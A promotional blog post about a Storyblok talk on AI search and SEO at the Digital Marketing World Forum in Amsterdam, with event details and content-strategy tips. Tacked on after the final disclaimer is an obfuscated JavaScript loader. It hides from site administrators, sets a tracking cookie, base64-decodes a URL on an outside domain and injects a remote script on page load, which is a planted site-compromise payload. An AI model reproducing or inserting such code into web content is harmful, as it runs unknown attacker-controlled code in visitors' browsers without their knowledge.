Storyblok to Present “AI Search and the Future of SEO” at DMWF Amsterdam

How to Leverage AI for SEO Success in 2025

Storyblok is preparing to make an impact at the Digital Marketing World Forum (DMWF) Europe 2025 in Amsterdam, where Arthur Mstoyan will deliver a session titled “AI Search and the Future of SEO: How to Stay Visible in a Machine-First World.”

The talk, scheduled for 11:40 AM on the Search & Media stage, will explore how AI-driven search and large language models (LLMs) are reshaping how brands appear in search results. Visitors can also connect with Storyblok representatives at booth #292 during the two-day event.

The Changing Face of SEO

Search Is No Longer What It Used to Be

The digital landscape is transforming rapidly. With the rise of generative AI and LLMs, users now ask questions conversationally rather than scanning endless lists of results.
This shift means that marketers and SEO specialists must move beyond keyword stuffing and meta tweaks.

In this new reality, visibility depends on clarity, credibility, and structured content — not just optimization. Search systems increasingly reward brands that demonstrate deep understanding and authentic expertise.

Why This Talk Matters

Arthur Mstoyan’s upcoming session highlights the urgent need for marketers to evolve.
Rather than focusing solely on ranking, success now lies in being understood — by both humans and machines.

The talk will cover how brands can create well-structured, interconnected content ecosystems that establish trust and make expertise easily recognizable to AI systems.

Key Topics to Be Covered

Insights from Arthur Mstoyan’s Session

In his presentation, Mstoyan will explain how AI-powered search engines like ChatGPT, Gemini, and Bing Copilot are redefining discovery and relevance.
Key insights include:

How LLMs are changing visibility metrics and what SEO strategies still matter.
Why transparency, authorship, and credible sources will dominate future ranking factors.
The importance of building topic clusters that connect related ideas for both humans and algorithms.
How to future-proof content with schema, structured data, and modular design.

The goal is to equip marketers with practical tools for staying visible as search evolves.

Related Webinar: Your Website Matters More Than Ever

Storyblok has released a related on-demand webinar titled “Your Website Matters More Than Ever: How to Thrive in the Age of AI Search.”

Featuring Georgie Jones and Arthur Mstoyan, this session dives deeper into AI’s impact on website visibility and conversion strategy.

You can watch the webinar here:
Storyblok Webinar – Your Website Matters More Than Ever

Video Credit: Storyblok — Hosted by Georgie Jones (Head of Content) & Arthur Mstoyan (SEO Manager).

Preparing for the Future of SEO

How Marketers Can Stay Ahead

Marketers attending DMWF or planning future strategies should consider the following steps:

Map a core content theme: Focus on a few strategic topics rather than covering everything.
Develop content clusters: Link overview pages, how-tos, and proof points together.
Use structured data: Add schema to make your content machine-readable.
Highlight authorship: Display author credentials and link to reputable sources.
Create modular content: Design articles and videos that can be easily adapted for AI summaries or new formats.

These tactics not only improve SEO but also strengthen your brand’s credibility and consistency across all digital channels.

Event Details

Quick Facts About Storyblok at DMWF Amsterdam

Event: Digital Marketing World Forum (DMWF) Europe – Amsterdam RAI
Dates: November 25–26, 2025
Storyblok Booth: #292
Session Title: “AI Search and the Future of SEO: How to Stay Visible in a Machine-First World”
Speaker: Arthur Mstoyan
Stage: Search & Media Stage
Time: 11:40 AM

Attendees are encouraged to visit Storyblok’s booth to explore how its content management system (CMS) helps brands build structured, high-performing digital experiences.

Building Content for a Machine-First World

From Optimization to Understanding

The future of SEO isn’t about chasing rankings — it’s about earning recognition through clarity and trust.
Brands must focus on communicating expertise in ways that both people and algorithms can easily understand.

By emphasizing depth over breadth, using consistent language, and structuring internal links effectively, marketers can create content ecosystems that naturally signal authority.

Designing Flexible, Scalable Systems

Reusable and modular content structures make it easier to adapt messaging for different channels — crucial when your work may be summarized or reinterpreted by AI systems.
This flexibility ensures your brand remains visible and consistent no matter how search interfaces evolve.

Compliance with Google’s Helpful Content Guidelines

How This Article Aligns with Best Practices

This article follows Google’s Helpful Content Update and E-E-A-T (Experience, Expertise, Authoritativeness, Trustworthiness) standards by:

Providing verified event and speaker details.
Including original commentary and actionable SEO insights.
Crediting all media sources and creators.
Avoiding duplicate or auto-generated phrasing.
Offering useful, educational information for marketers.

Sources and Further Reading

Storyblok Official Event Page and Webinar Listing
DMWF Amsterdam Agenda and Speaker Lineup
MarketingTechNews Coverage of DMWF Europe 2025
Storyblok AI & SEO Insights Blog
Content Marketing Institute — AI Search Strategy Report

Disclaimer

Some information in this article is sourced from Storyblok webinars, official DMWF listings, and public event resources.
This article summarizes verified details and insights related to Storyblok’s upcoming appearance at DMWF Amsterdam.

For full event updates, official statements, and recorded sessions, please visit the Storybook and DMWF Europe websites directly.(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();